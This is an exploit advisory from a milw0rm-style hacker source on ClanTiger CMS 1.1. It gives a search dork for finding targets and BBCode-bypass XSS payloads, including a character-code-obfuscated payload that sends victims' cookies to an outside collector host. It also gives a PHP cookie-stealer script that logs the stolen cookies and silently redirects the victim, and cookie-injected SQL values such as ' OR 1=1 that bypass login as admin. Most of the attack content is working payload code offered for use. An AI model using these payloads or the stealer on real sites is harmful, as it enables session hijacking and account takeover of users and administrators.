ClanTiger < 1.1.1 Multiple Cookie Handling Vulnerabilities

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|       	   	  MULTIPLE COOKIES HANDLING VULNERABILITIES	            	     |
|--------------------------------------------------------------------------------------------|
|                         	     | CLAN TIGER CMS |		 			     |
|  CMS INFORMATION:		      ----------------					     |
|											     |
|-->WEB: http://www.clantiger.com				   			     |
|-->DOWNLOAD: http://www.clantiger.com/download-clan-cms 	   			     |
|-->DEMO: http://www.demo.clantiger.com/						     |
|-->CATEGORY: CMS / Portals								     |
|-->DESCRIPTION: ClanTiger is a content management system specifically designed for gaiming  |
| 		clans...			     					     |
|											     |
|  CMS VULNERABILITY:									     |
|											     |
|-->TESTED ON: firefox 3.0.8 and IE 6.0.29 (Default)					     |
|-->DORK: "Powered by ClanTiger"							     |
|-->CATEGORY: BYPASS-BBCODE/COOKIES STEALING && COOKIE AUTH BYPASS/SQL INJECTION	     |
|-->AFFECT VERSION: 1.1	(maybe <= ?)							     |
|-->Discovered Bug date: 2009-04-04							     |
|-->Reported Bug date: 2009-04-04							     |
|-->Fixed bug date: 2009-04-06								     |
|-->Info patch (v-1.1.1): http://www.clantiger.com/news-and-blog/			     |
|-->Author: YEnH4ckEr									     |
|-->mail: y3nh4ck3r[at]gmail[dot]com							     |
|-->WEB/BLOG: N/A									     |
|-->COMMENT: A mi novia Marijose...hermano,cuñada, padres (y amigos xD) por su apoyo.        |
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//////////////////////////////////

COOKIES STEALING (BYPASS BBCODE)

//////////////////////////////////

(I fucked BBCode again...)

-----------
BUG ZONES:
-----------

#BBCode is bypassed by differents methods and XSS is posible.

#We find BBCode on these links:

http://[HOST]/[PATH]/index.php?module=news&action=view&id=2
http://[HOST]/[PATH]/index.php?module=mycontrolpanel&action=signature
http://[HOST]/[PATH]/index.php?module=news&action=view&id=2
http://[HOST]/[PATH]/index.php?module=forum
http://[HOST]/[PATH]/index.php?module=mymessages

----------------------------------
PROOF OF CONCEPT (SEARCHING XSS):
----------------------------------

BOTH (FIREFOX AND IE):

[url][img]http://www.google.es onmouseover=alert(1) [/img][/url]
[email][img][email protected] onmouseover=alert(1) [/img][/email]
[email][url]http://www.prueba.es onmouseover=alert(1) [/url][/email]
[url][email][email protected] onmouseover=alert(1) [/email][/url]

...

ONLY IE:

[img][url]http://al.com onmouseover=alert(1) [/url][/img]
[img][email][email protected] onmouseover=alert(1) [/email][/img]

...

Combinations of tags: 

[email][url]http://owned.com onmouseover=alert(1) [/url][/mail]

Generate:

<a href="mailto:<a href="http://owned.com onmouseover=alert(1) " target="_blank">http://owned.com onmouseover=alert(1) </a>"><a href="http://owned.com onmouseover=alert(1) " target="_blank">http://owned.com onmouseover=alert(1) </a></a>

--------------------------
COOKIES EXPLOIT (BBCODE):
--------------------------

Link --> http://www.myphpcookiestealing.es/capturethecookies.php?ck=

[url][img]http://www.victim.es onmouseover=document.location=String.fromCharCode(104,116,116,112,58,47,47,119,119,119,46,109,121,112,104,112,99,111,111,107,105,101,115,116,101,97,108,105,110,103,46,101,115,47,99,97,112,116,117,114,101,116,104,101,99,111,111,107,105,101,115,46,112,104,112,63,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,61)+document.cookie [/img][/url]

------------------------------
COOKIES STEALER (PHP SCRIPT):
------------------------------

<?php
$ck=$_GET["ck"]; //Capture the cookies	 
$manejador=fopen("exploited.txt",'a'); //Open cookies saved file
fwrite($manejador, "Cookie:\r\n".htmlentities($ck)."\r\n--EOF--\r\n"); //Save the values
fclose($manejador);	//Close file
echo "<script>location.href='http://[HOST]/[PATH]/index.php?module';</script>"; //Redirect...we don't want to alert xDD
?>

Remember: You can use any cookie editor and you have one nice shot (XSSSHEll+XSSTunnel = many nice shots xD)

///////////////////////////////////

[COOKIE]AUTH BYPASS(SQL INJECTION)

///////////////////////////////////

But, my world isn't Only BBcode :P

------------
CONDITIONS:
------------

**(sometimes) DB_PREFIX="" (Default) 

	maybe: db, db_clan, ...

**gpc_magic_quotes=off

-----------
BUG FILE:
-----------

Path --> [HOME_PATH]/functions/class.accesscontrol.php

It contents:

	function checkLogin()
	{
		if($_COOKIE['CCC_UID'] && $_COOKIE['CCC_CODE'])
		{
			$uid = $_COOKIE['CCC_UID'];
			$logincode = $_COOKIE['CCC_CODE'];
			
			$query = "SELECT * FROM " . DB_PREFIX . "members WHERE md5(id)='$uid' and logincode='$logincode'";
			$results = $this->db->getrow($query);

			if($results['username'])
			{
				
				....
			}	

			
		} 
	}

----------------------------------
PROOF OF CONCEPT (SQL INJECTION):
----------------------------------

Add cookies:

CCC_UID=BLABLABLA   //it is not use
CCC_CODE=BLABLA' [SQL]

---------
EXAMPLE:
---------

Add cookies: (only need gpc_magic_quotes=off)

CCC_UID=pepe	//it is not use
CCC_CODE=lala' OR 1=1 /*	//admin 

Other example: (DB_PREFIX="" and gpc_magic_quotes=off)

CCC_UID=pepe	//it is not use
CCC_CODE=lala' UNION ALL SELECT * FROM members WHERE id='1	//select first user= admin? maybe we want to be other (id=2,3,4...) :P

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 ESPECIAL THANKS TO: Str0ke and every H4ck3r(all who do milw0rm)!
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